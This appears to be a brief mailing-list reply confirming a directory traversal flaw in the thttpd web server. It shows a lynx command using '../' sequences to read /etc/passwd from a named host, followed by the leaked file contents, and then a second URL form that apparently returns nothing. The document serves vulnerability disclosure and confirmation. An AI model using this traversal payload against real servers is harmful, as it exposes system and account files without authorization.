For what it's worth, I'm getting the same results with the same
version of thttpd.

$ lynx -dump drwho.virtadpt.net:80/../../../../../../../../etc/passwd
root:*:0:0:Charlie &:/root:/bin/ksh
daemon:*:1:1:The devil himself:/root:/sbin/nologin
operator:*:2:5:System &:/operator:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
smmsp:*:25:25:Sendmail Message Submission
Program:/nonexistent:/sbin/nologin
popa3d:*:26:26:POP3 Server:/var/empty:/sbin/nologin
sshd:*:27:27:sshd privsep:/var/empty:/sbin/nologin
...blah blah blah...

versus:

$ lynx -dump
http://drwho.virtadpt.net:80/../../../../../../../../etc/passwd
